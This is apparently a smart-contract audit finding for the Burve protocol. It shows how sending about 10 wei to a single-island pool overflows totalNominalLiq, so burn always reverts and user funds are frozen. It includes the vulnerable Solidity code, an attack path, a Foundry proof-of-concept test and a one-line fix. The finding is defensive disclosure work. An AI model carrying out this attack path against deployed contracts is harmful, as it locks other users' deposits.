Early Infrared Albatross

High

# Anyone can freeze funds in burveIsland

### Summary

When burve consists of only one island, anyone can send a tiny amount of funds to it to cause the totalNominalLiq calculation to overflow, thereby freezing the funds in burveIsland.

### Root Cause

In [`Burve.sol:906`](https://github.com/sherlock-audit/2025-04-burve-thereksfour//blob/5ade42e1baf8357f39e3ac6c001c290f39f9d31a/Burve/src/single/Burve.sol#L906-L908), when a burve consists of only one island, and anyone sends 1 wei token to the burve, the protocol will emit a MalformedPool event and will not revert. In [`Burve.sol:917`](https://github.com/sherlock-audit/2025-04-burve-thereksfour//blob/5ade42e1baf8357f39e3ac6c001c290f39f9d31a/Burve/src/single/Burve.sol#L917), `mintNominalLiq` will be returned as `unit128.max - 2 * distX96.length`.
```solidity
        if (unsafeNominalLiq == uint256(type(uint128).max)) {
            emit MalformedPool();
        }

        // min calculated liquidity with the max allowed
        mintNominalLiq = unsafeNominalLiq > type(uint128).max
            ? type(uint128).max
            : uint128(unsafeNominalLiq);

        // during mint the liq at each range is rounded up
        // we subtract by the number of ranges to ensure we have enough liq
        mintNominalLiq = mintNominalLiq <= (2 * distX96.length)
            ? 0
            : mintNominalLiq - uint128(2 * distX96.length);
    }
```
 In [`Burve.sol:750`](https://github.com/sherlock-audit/2025-04-burve-thereksfour//blob/5ade42e1baf8357f39e3ac6c001c290f39f9d31a/Burve/src/single/Burve.sol#L750),`totalNominalLiq` will be added to the `mintNominalLiq` returned above, which will cause overflow.
```solidity
        uint128 compoundedNominalLiq = collectAndCalcCompound();
        if (compoundedNominalLiq == 0) {
            return;
        }

        totalNominalLiq += compoundedNominalLiq;
```
This will cause `compoundV3Ranges()` to always fail, which will cause `mint/burn` to always fail, resulting in users being unable to withdraw deposited funds.
```solidity
    function burn(
        uint256 shares,
        uint160 lowerSqrtPriceLimitX96,
        uint160 upperSqrtPriceLimitX96
    )
        external
        withinSqrtPX96Limits(lowerSqrtPriceLimitX96, upperSqrtPriceLimitX96)
    {
        // compound v3 ranges
        compoundV3Ranges();
```

### Internal Pre-conditions

None

### External Pre-conditions

None

### Attack Path

1. The victim deposits into BruveIsland
2. The attacker sends 10 wei token0/token1( > distX96.length) to BruveIsland
3. The victim fails to withdraw funds

### Impact

User funds are frozen

### PoC

```solidity
    function testRevert_CollectAndCalcCompound_MalformedPool() public forkOnly {
        // simulate collected amounts
        uint128 deadLiq = 100;
        (, uint256 deadIslandShares) = deadShareMint(
            address(burveIsland),
            deadLiq
        );

        uint128 liq = 1e18;
        IKodiakIsland island = burveIsland.island();

        // calc island mint
        (uint256 amount0, uint256 amount1) = getAmountsForLiquidity(
            liq,
            island.lowerTick(),
            island.upperTick(),
            true
        );
        (uint256 mint0, uint256 mint1, uint256 mintShares) = island
            .getMintAmounts(amount0, amount1);

        // deal required tokens
        deal(address(token0), address(alice), mint0);
        deal(address(token1), address(alice), mint1);

        vm.startPrank(alice);

        // approve transfer
        token0.approve(address(burveIsland), mint0);
        token1.approve(address(burveIsland), mint1);
        // mint
        burveIsland.mint(address(alice), liq, 0, type(uint128).max);

        vm.stopPrank();
        deal(address(token0), address(burveIsland), 10);
        deal(address(token1), address(burveIsland), 10);
        // vm.expectEmit(false, false, false, true);
        // emit Burve.MalformedPool();
        // burveIsland.compoundV3RangesExposed();
        vm.startPrank(alice);
        burveIsland.burn(burveIsland.balanceOf(alice), 0, type(uint128).max); // [FAIL: panic: arithmetic underflow or overflow (0x11)]
        vm.stopPrank();
    }

```

### Mitigation

When the MalformedPool is detected, `mintNominalLiq` is returned to 0
```diff
        if (unsafeNominalLiq == uint256(type(uint128).max)) {
            emit MalformedPool();
+           return 0;
        }
```